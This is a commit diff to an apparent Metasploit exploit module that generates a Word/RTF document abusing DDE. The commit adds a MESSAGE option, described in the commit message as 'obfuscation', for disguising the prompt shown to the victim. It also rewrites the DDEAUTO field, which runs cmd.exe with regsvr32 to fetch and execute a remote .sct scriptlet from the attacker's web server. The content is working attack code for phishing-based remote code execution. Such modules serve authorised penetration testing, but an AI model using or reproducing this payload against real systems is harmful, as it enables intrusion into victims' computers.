Skip to content

Commit 09aa433

Browse files
author
Austin
authored
Add MESSAGE field for "obfuscation"
1 parent 12425d9 commit 09aa433

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/exploits/windows/fileformat/office_dde_delivery.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ def initialize(info = {})
1717
'Name' => 'Microsoft Office DDE Payload Delivery',
1818
'Description' => %q{
1919
This module generates an DDE command to place within
20-
a word document, that when executed, will retrieve a HTA payload
21-
via HTTP from an web server.
20+
a word document, that when executed, will retrieve a payload
21+
from the webserver
2222
},
2323
'Author' => 'mumbai',
2424
'License' => MSF_LICENSE,
@@ -40,6 +40,10 @@ def initialize(info = {})
4040
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
4141
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
4242
])
43+
44+
register_advanced_options([
45+
OptString.new("MESSAGE", [true, "Message to output in remote data field", "MSF EXECUTABLE"])
46+
])
4347
end
4448

4549
def gen_psh(url, *method)
@@ -134,7 +138,7 @@ def create_rtf
134138
#
135139
header = retrieve_header(datastore['FILENAME'])
136140
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
137-
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
141+
field_class << "DDEAUTO \"C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" \"#{datastore['MESSAGE']}\" }}"
138142
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
139143
field_class << '\insrsid5790315' + "\n"
140144
field_class << '\par }'

0 commit comments

Comments
 (0)